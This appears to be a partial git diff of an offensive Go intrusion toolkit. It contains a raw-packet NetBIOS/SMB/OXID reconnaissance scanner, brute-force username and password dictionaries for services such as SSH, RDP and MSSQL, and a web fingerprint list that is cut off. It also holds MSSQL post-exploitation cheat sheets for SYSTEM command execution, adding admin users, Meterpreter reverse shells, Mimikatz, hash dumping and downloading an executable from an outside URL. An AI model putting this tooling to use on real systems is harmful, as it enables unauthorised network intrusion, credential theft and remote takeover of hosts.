create shell failed %v",err)) + return + } + + go io.Copy(cmd.Stdin, os.Stdin) + go io.Copy(os.Stdout, cmd.Stdout) + go io.Copy(os.Stderr, cmd.Stderr) + cmd.Wait() + shell.Close() + }else{ + _, err := client.Run(Command, os.Stdout, os.Stderr) + if err != nil { + Println(fmt.Sprintf("[!] Execute Command failed %v",err)) + return + } + } +} \ No newline at end of file diff --git a/cmd/winscan.go b/cmd/winscan.go new file mode 100644 index 0000000..a9d3f91 --- /dev/null +++ b/cmd/winscan.go @@ -0,0 +1,557 @@ +package cmd + +import ( + "bytes" + "fmt" + "github.com/spf13/cobra" + "net" + "strconv" + "strings" + "sync" + "time" +) + +var netbiosflag bool +var smbflag bool +var oxidflag bool +var allflag bool + + +var WinCmd = &cobra.Command{ + Use: "winscan", + Short: "netbios、smb、oxid scan", + Run: func(cmd *cobra.Command, args []string) { + var ips []string + if Hosts == "" { + _ = cmd.Help() + return + } + if Hosts != "" { + ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips + }else{ + Println("Yasso scanner need a hosts") + return + } + Println(fmt.Sprintf("[Yasso] will scan %d host",len(ips))) + winscan(ips,allflag) + }, +} +func init(){ + rootCmd.AddCommand(WinCmd) + WinCmd.Flags().BoolVar(&smbflag,"smb",false,"Set smb flag and use smb scan") + WinCmd.Flags().BoolVar(&netbiosflag,"netbios",false,"Set netbios flag and use netbios scan") + WinCmd.Flags().BoolVar(&oxidflag,"oxid",false,"Set oxid flag and use oxid scan") + WinCmd.Flags().BoolVar(&allflag,"all",true,"Set all flag and use oxid,netbios,smb scan") + WinCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + WinCmd.Flags().DurationVar(&TimeDuration,"time",1 * time.Second,"Set net conn timeout") + WinCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy and use it") +} + +func winscan(host []string, allay bool){ + if netbiosflag == true { + NbtScan(host) + }else if smbflag == true { + SmbScan(host) + }else if oxidflag == true { + OxidScan(host) + }else if allay == true{ + runall(host) + } else{ + Println("[*] Your need set netbios、smb、oxid flag") + } +} + + + +var oxidQuery1 = [...]byte{ + 0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x10, 0xb8, 0x10, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10, + 0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, + 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, + 0x00, 0x00, +} + +var oxidQuery2 = [...]byte{ + 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x05, 0x00, +} + +func ConncetNbios(ip string, port int) (string, int, error, []string) { + nbname, err := netBios(ip) + if nbname.msg != "" { + return ip, port, nil, []string{nbname.msg} + } + return ip, port, err, nil +} + +var smbQuery = [...]byte{ + 0x00, 0x00, 0x00, 0xa4, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x06, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x81, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, + 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, + 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, + 0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, + 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, + 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, + 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, 0x4e, 0x54, + 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20, + 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, +} + +var ( + UNIQUE_NAMES = map[string]string{ + "\x00": "Workstation Service", + "\x03": "Messenger Service", + "\x06": "RAS Server Service", + "\x1F": "NetDDE Service", + "\x20": "Server Service", + "\x21": "RAS Client Service", + "\xBE": "Network Monitor Agent", + "\xBF": "Network Monitor Application", + "\x1D": "Master Browser", + "\x1B": "Domain Master Browser", + } + + GROUP_NAMES = map[string]string{ + "\x00": "Domain Name", + "\x1C": "Domain Controllers", + "\x1E": "Browser Service Elections", + } + + NetBIOS_ITEM_TYPE = map[string]string{ + "\x01\x00": "NetBIOS computer name", + "\x02\x00": "NetBIOS domain name", + "\x03\x00": "DNS computer name", + "\x04\x00": "DNS domain name", + "\x05\x00": "DNS tree name", + "\x07\x00": "Time stamp", + } +) + +type NbnsName struct { + unique string + group string + msg string + osversion string +} + +func netBios(host string)(nbname NbnsName,err error) { + nbname, err = getNbnsname(host) + var payload0 []byte + if err == nil { + name := netbiosEncode(nbname.unique) + payload0 = append(payload0, []byte("\x81\x00\x00D ")...) + payload0 = append(payload0, name...) + payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...) + } + realhost := fmt.Sprintf("%s:%v", host, 139) + conn, err := GetConn(realhost,TimeDuration) + defer func() { + if conn != nil { + conn.Close() + } + }() + if err != nil { + return + } + err = conn.SetDeadline(time.Now().Add(TimeDuration)) + if err != nil { + return + } + + if len(payload0) > 0 { + _, err1 := conn.Write(payload0) + if err1 != nil { + return + } + _, err1 = readbytes(conn) + if err1 != nil { + return + } + } + + payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00") + payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00") + _, err = conn.Write(payload1) + if err != nil { + return + } + _, err = readbytes(conn) + if err != nil { + return + } + + _, err = conn.Write(payload2) + if err != nil { + return + } + ret, err := readbytes(conn) + if err != nil || len(ret) < 45 { + return + } + + num1, err := bytetoint(ret[43:44][0]) + if err != nil { + return + } + num2, err := bytetoint(ret[44:45][0]) + if err != nil { + return + } + length := num1 + num2*256 + if len(ret) < 48+length { + return + } + os_version := ret[47+length:] + tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124}) + tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{}) + msg1 := string(tmp1[:len(tmp1)-1]) + nbname.osversion = msg1 + index1 := strings.Index(msg1, "|") + if index1 > 0 { + nbname.osversion = nbname.osversion[:index1] + } + nbname.msg += "\n\t-------------------------------------------\n\t" + nbname.msg += msg1 + "\n\t" + start := bytes.Index(ret, []byte("NTLMSSP")) + if len(ret) < start+45 { + return + } + num1, err = bytetoint(ret[start+40 : start+41][0]) + if err != nil { + return + } + num2, err = bytetoint(ret[start+41 : start+42][0]) + if err != nil { + return + } + length = num1 + num2*256 + num1, err = bytetoint(ret[start+44 : start+45][0]) + if err != nil { + return + } + offset, err := bytetoint(ret[start+44 : start+45][0]) + if err != nil || len(ret) < start+offset+length { + return + } + index := start + offset + for index < start+offset+length { + item_type := ret[index : index+2] + num1, err = bytetoint(ret[index+2 : index+3][0]) + if err != nil { + return + } + num2, err = bytetoint(ret[index+3 : index+4][0]) + if err != nil { + return + } + item_length := num1 + num2*256 + item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{}) + index += 4 + item_length + if string(item_type) == "\x07\x00" { + //Time stamp, 暂时不想处理 + } else if NetBIOS_ITEM_TYPE[string(item_type)] != "" { + nbname.msg += fmt.Sprintf("%-22s: %s\n\t", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content)) + } else if string(item_type) == "\x00\x00" { + break + } else { + nbname.msg += fmt.Sprintf("Unknown: %s\n\t", string(item_content)) + } + } + nbname.msg=strings.TrimSpace(nbname.msg) + return nbname, err +} + +func getNbnsname(host string) (nbname NbnsName, err error) { + senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} + realhost := fmt.Sprintf("%s:%v", host, 137) + conn, err := net.DialTimeout("udp", realhost, TimeDuration) + defer func() { + if conn != nil { + conn.Close() + } + }() + if err != nil { + return + } + err = conn.SetDeadline(time.Now().Add(TimeDuration)) + if err != nil { + return + } + _, err = conn.Write(senddata1) + if err != nil { + return + } + text, err := readbytes(conn) + if err != nil { + return + } + if len(text) < 57 { + return nbname, fmt.Errorf("no names available") + } + num, err := bytetoint(text[56:57][0]) + if err != nil { + return + } + data := text[57:] + msg:="" + for i := 0; i < num; i++ { + if len(data) < 18*i+16 { + break + } + name := string(data[18*i : 18*i+15]) + flag_bit := data[18*i+15 : 18*i+16] + if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { + msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)]) + } else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { + msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)]) + } else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 { + name_flags := data[18*i+16 : 18*i+18][0] + if name_flags >= 128 { + nbname.group = strings.Replace(name, " ", "", -1) + msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)]) + } else { + nbname.unique = strings.Replace(name, " ", "", -1) + msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)]) + } + } else { + msg += fmt.Sprintf("%s \n\t", name) + } + } + nbname.msg += msg + nbname.msg=strings.TrimSpace(nbname.msg) + return +} + +func bytetoint(text byte) (int, error) { + num1 := fmt.Sprintf("%v", text) + num, err := strconv.Atoi(num1) + return num, err +} + + +func readbytes(conn net.Conn) (result []byte, err error) { + buf := make([]byte, 4096) + for { + count, err := conn.Read(buf) + if err != nil { + break + } + result = append(result, buf[0:count]...) + if count < 4096 { + break + } + } + return result, err +} + +func netbiosEncode(name string) (output []byte) { + var names []int + src := fmt.Sprintf("%-16s", name) + for _, a := range src { + char_ord := int(a) + high_4_bits := char_ord >> 4 + low_4_bits := char_ord & 0x0f + names = append(names, high_4_bits, low_4_bits) + } + for _, one := range names { + out := one + 0x41 + output = append(output, byte(out)) + } + return +} + + +func Connectoxid(ip string,port int) (string, int, error, []string) { + conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port),TimeDuration) + if err != nil { + return ip, port, err, nil + } + defer conn.Close() + err,oxidres:=oxidIpInfo(conn) + if err!=nil{ + return ip,port,err,nil + }else { + return ip,port,nil,oxidres + } +} + +func oxidIpInfo(conn net.Conn) (error, []string) { + + buf := make([]byte, 256) + _, err := conn.Write(oxidQuery1[:]) + if err != nil { + return err, nil + } + _, err = conn.Read(buf) + if err != nil { + return err, nil + } + _, err = conn.Write(oxidQuery2[:]) + if err != nil { + return err, nil + } + _, err = conn.Read(buf) + if err != nil { + return err, nil + } + end := bytes.Index(buf, []byte{0x00, 0x00, 0x09, 0x00, 0xff, 0xff, 0x00, 0x00}) + if len(buf)<40||end==-1{ + return fmt.Errorf(""),nil + } + buf = buf[40:end] + var oxidRes []string + for i := bytes.Index(buf, []byte{0x00, 0x00, 0x00}); i != -1; { + res := buf[1:i] + res = bytes.Replace(res, []byte{0x00}, []byte(""), -1) + oxidRes = append(oxidRes, string(res)) + buf = buf[i+3:] + i = bytes.Index(buf, []byte{0x00, 0x00, 0x00}) + } + return nil, oxidRes +} + + +func smbinfo(conn net.Conn) (error,[]string) { + buf := make([]byte, 1024) + _, err := conn.Write(smbQuery[:]) + if err != nil { + return err,nil + } + _, err = conn.Read(buf) + if err != nil { + return err,nil + } + if len(buf)<81{ + return fmt.Errorf(""),nil + } + buf = buf[81:] + end := bytes.Index(buf, []byte{0x00, 0x00, 0x00}) + var smbRes []string + domain := buf[:end] + hostname := buf[end:] + domain = bytes.Replace(domain, []byte{0x00}, []byte(""), -1) + hostname = bytes.Replace(hostname, []byte{0x00}, []byte(""), -1) + smbRes = append(smbRes, "domain: "+string(domain)) + smbRes = append(smbRes, "hostname: "+string(hostname)) + return nil,smbRes +} + +func Connectsmb(ip string, port int) (string, int, error, []string) { + conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port),TimeDuration) + if err != nil { + return ip, port, err, nil + } + defer conn.Close() + ok,smbRes:=smbinfo(conn) + if ok==nil{ + return ip,port,nil,smbRes + }else { + return ip,port,ok,nil + } +} + +func OxidScan(host []string){ + //result := PortScan(host,[]int{135}) + var wg sync.WaitGroup + for _,v := range host{ + wg.Add(1) + go func(v string) { + defer wg.Done() + _,_,err,r := Connectoxid(v,135) + if err != nil { + return + } + if len(r) >= 2 { + Println(fmt.Sprintf("[OXID] Hostname %v Network %v",r[0],r[1:])) + }else{ + Println(fmt.Sprintf("[OXID] %v",r)) + } + }(v) + } + wg.Wait() +} + +func SmbScan(host []string){ + var wg sync.WaitGroup + for _,v := range host{ + wg.Add(1) + go func(v string) { + defer wg.Done() + ip,_,err,r := Connectsmb(v,445) + if err != nil { + return + } + if len(r) >= 2 { + Println(fmt.Sprintf("[SMB] IP %s %v" ,ip,r)) + } + }(v) + } + wg.Wait() +} + +func NbtScan(host []string){ + var wg sync.WaitGroup + for _,v := range host { + wg.Add(1) + go func(v string) { + defer wg.Done() + _,_,err,r := ConncetNbios(v,139) + if err != nil { + return + } + for _,s := range r { + Println(fmt.Sprintf("[+] %v",v)) + Println(fmt.Sprintf("\t%v",s)) + } + + }(v) + } + wg.Wait() +} + +func runall(host []string){ + var wg sync.WaitGroup + for _,v := range host { + wg.Add(1) + go func(v string) { + defer wg.Done() + func(v string) { + _,_,err,r := ConncetNbios(v,139) + if err != nil { + return + } + for _,s := range r { + Println(fmt.Sprintf("[+] %v",v)) + Println(fmt.Sprintf("\t%v",s)) + } + }(v) + func(v string){ + ip,_,err,r := Connectsmb(v,445) + if err != nil { + return + } + if len(r) >= 2 { + Println(fmt.Sprintf("[SMB] IP %s %v" ,ip,r)) + } + }(v) + func (v string) { + _,_,err,r := Connectoxid(v,135) + if err != nil { + return + } + if len(r) >= 2 { + Println(fmt.Sprintf("[OXID] Hostname %v Network %v",r[0],r[1:])) + }else{ + Println(fmt.Sprintf("[OXID] %v",r)) + } + }(v) + + }(v) + } + wg.Wait() +} \ No newline at end of file diff --git a/config/config.go b/config/config.go new file mode 100644 index 0000000..53d014d --- /dev/null +++ b/config/config.go @@ -0,0 +1,79 @@ +package config + +import ( + "time" +) + +// about login struct + +type HostIn struct { + Host string + Port int + Domain string + TimeOut time.Duration + PublicKey string +} + +// 爆破的默认用户名 + +var Userdict = map[string][]string{ + "ftp": {"kali","ftp", "admin", "www", "web", "root", "db", "wwwroot", "data",}, + "mysql": {"root", "mysql"}, + "mssql": {"sa", "sql"}, + "smb": {"administrator", "admin", "guest"}, + "rdp": {"administrator", "admin", "guest","Oadmin"}, + "postgres": {"postgres", "admin"}, + "ssh": {"root", "admin","kali","oracle","www"}, + "mongodb": {"root", "admin"}, + "redis": {"root"}, +} + +// 爆破的默认密码 + +var Passwords = []string{"123456", "admin", "admin123", "root","12312", "pass123", "pass@123", "930517","password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e","kali"} + + +var WarKitHelp = [][]string{ + []string{"**IF You Want SQL Command Execute**","declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"}, + []string{"EXEC sp_cmdExec 'whoami'","Any Windows command"}, + []string{"EXEC sp_cmdExec 'whoami /RunSystemPriv'","Any Windows command with NT AUTHORITY\\SYSTEM rights"}, + []string{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`,"Adding users with RottenPotato (Kumpir)"}, + []string{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`,"Adding user to localgroup with RottenPotato (Kumpir)"}, + []string{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`,"(Powershell) with RottenPotato (Kumpir)"}, + []string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`,`x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`}, + []string{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`,"x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"}, + []string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`,"x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"}, + []string{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`,"x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"}, + []string{`EXEC sp_cmdExec 'sp_Mimikatz'`,`select * from WarSQLKitTemp => Get Mimikatz Log`}, + []string{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`,`Download File`}, + []string{`EXEC sp_cmdExec 'sp_getSqlHash'`,`Get MSSQL Hash`}, + []string{`EXEC sp_cmdExec 'sp_getProduct'`,`Get Windows Product`}, + []string{`EXEC sp_cmdExec 'sp_getDatabases'`,`Get Available Databases`}, +} + +var SharpKitHelp = [][]string{ + []string{"EXEC ClrExec 'clr_ping ip'","Detect whether the target is reachable"}, + []string{"EXEC ClrExec 'clr_cat filename'","Viewing target file Contents"}, + []string{`EXEC ClrExec 'clr_ls dir'`,"Listing directory files"}, + []string{`EXEC ClrExec 'clr_rm filename'`,"rm traget file"}, + []string{`EXEC ClrExec 'clr_getav'`,"List target host kill software"}, + []string{`EXEC ClrExec 'clr_rdp'`,`Open the remote desktop and return to the remote desktop port`}, + []string{`EXEC ClrExec 'clr_efspotato whoami'`,"Calls efspotato to execute system commands"}, + []string{`EXEC ClrExec 'clr_badpotato whoami'`,"Calls badpotato to execute system commands"}, + []string{`EXEC ClrExec 'clr_netstat'`,"Listing netstat -an result"}, +} + + +var( + // DisMapPorts TODO: dismp 默认端口号 + + DisMapPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,443,800,801,808,880,888,889,1000,1080,1880,1881,2000,2001,2601,3443,7001,7007,7010,7070,7878,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8016,8017,8018,8019,8022,8029,8030,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8105,8108,81110,8161,8175,8188,8189,8200,8201,8222,8300,8360,8443,8445,8448,8484,8499,8500,8800,8848,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9300,9443,9448,9500,9628,9800,9899,9981,9986,9988,9998,9999,11001" + + // DefaultHeader TODO: 默认User-Agent + + DefaultHeader = map[string]string{ + "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6", + "User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36", + "Cookie": "rememberMe=int", + } +) diff --git a/config/rule.go b/config/rule.go new file mode 100644 index 0000000..0da0aca --- /dev/null +++ b/config/rule.go @@ -0,0 +1,4619 @@ +package config + +type ReqHttp struct { + ReqMethod string + ReqPath string + ReqHeader []string + ReqBody string +} + +type InStr struct { + InBody string + InHeader string + InIcoMd5 string +} + +type RuleLab struct { + Rank int + Name string + Type string + Mode string + Rule InStr + Http ReqHttp +} + +//TODO: dismap指纹 https://github.com/zhzyker/dismap/blob/main/config/rule.go + +var RuleData = []RuleLab{ + {1, "08CMS", "body", "", InStr{"(content=\"08cms|typeof(_08cms))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "1039soft-JiaXiao", "body", "", InStr{"(name=\"hid_qu_type\" id=\"hid_qu_type\"|/handler/validatecode.ashx?id=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "17mail", "body", "", InStr{"(//易企邮正式版发布)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "1caitong", "body", "", InStr{"(/custom/groupnewslist.aspx?groupid=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "21grid", "body", "", InStr{"(技术支持:网格(福建)智能科技有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "21publish-Blog", "ico", "", InStr{"", "", "(e08333841cbe40d15b18f49045f26614)"}, ReqHttp{"", "", nil, ""}}, + {1, "263-Enterprise-Mailbox", "body", "", InStr{"(net263.wm.custom_login.homepage_init|/custom_login/js/net263_wm_util.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "263-HRM", "body", "", InStr{"(

请使用263em登陆!

)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "263-Meeting", "body", "", InStr{"(|263电话会议)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "30san-Email", "body", "", InStr{"(30san.all rights reserved.)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "315soft-FileSystem", "body", "", InStr{"(>多可电子档案管理系统360)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-SecFox", "body", "", InStr{"(id=mtokenplugin width=0 height=0 style=\"position: absolute;left: 0px; top: 0px\"|type=application/x-xtx-axhost|document.getelementbyid('pic').src|class=\"secfox-login-browser-continue\"|

欢迎您使用网神secfox日志收集与分析系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Secure-routing", "body", "", InStr{"(360loginflag)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Skyeye", "body", "", InStr{"(/index.bundle.872998a4.js|src=\"/static/img/skyeye-logo-big.png\">)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-TianJi", "body", "", InStr{"(src=\"/resource/img/login/logo_403.png\" alt=\"360天机\"/>)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-TianQing", "body", "", InStr{"(/task/index/detail?id={item.id}|已过期或者未授权,购买请联系4008-136-360)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Total-Security", "header", "", InStr{"", "(x-safe-firewall)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360vision-Cameras-and-Surveillance", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Webmaster-Platform", "body", "", InStr{"(360-site-verification)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Webscan", "body", "", InStr{"(webscan.360.cn/status/pai/hash)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360WiFi-Expander", "body", "", InStr{"(id=\"slogan\">欢迎使用360wifi扩展器)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "365webcall", "body", "", InStr{"(src='http://www.365webcall.com/imme1.aspx?)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "365xxy-Examing", "body", "", InStr{"(href=https://unpkg.com/element-ui/lib/theme-chalk/index.css|云时政在线考试系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3-byte-invalid-favicon", "ico", "", InStr{"", "", "(ecaa88f7fa0bf610a5a26cf545dcd3aa)"}, ReqHttp{"", "", nil, ""}}, + {1, "3Com-3CDSG8", "body", "", InStr{"(content=\" 3cdsg8\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3Com-NJ2000", "body", "", InStr{"(content=\"3com intellijack nj2000\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3CX-Phone-System-Management-Console", "body", "", InStr{"(src=\"/public/vendor.26422846c5ea381c.js\"|src=\"/public/app.807e10d98cfac19e.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3dcart", "body|header", "or", InStr{"(powered by 3dcart|)", "(3dvisit)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3D-portrait-integrated-data-gate", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3dusoft-eSalerSalesSystem", "body", "", InStr{"(青岛叁度信息技术有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3KITS-CMS", "body", "", InStr{"(href=\"http://www.3kits.com\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "42Gears-SureMDM", "body", "", InStr{"(suremdm|astrocontacts)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "53kf", "header", "", InStr{"", "(customer_service_language)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "54-Customer-service", "body", "", InStr{"(src=\"http://code.54kefu.net/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "5iKQ", "body", "", InStr{"(content=\"我爱考勤云平台|我爱考勤云平台|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "5k-CRM", "body", "", InStr{"(/public/js/5kcrm.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "5VTechnologies-BlueAngelSoftwareSuite", "body", "", InStr{"(/cgi-bin/webctrl.cgi?action=index_page)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "6kbbs", "body", "", InStr{"(powered by 6kbbs|generator\" content=\"6kbbs)", "", ""}, 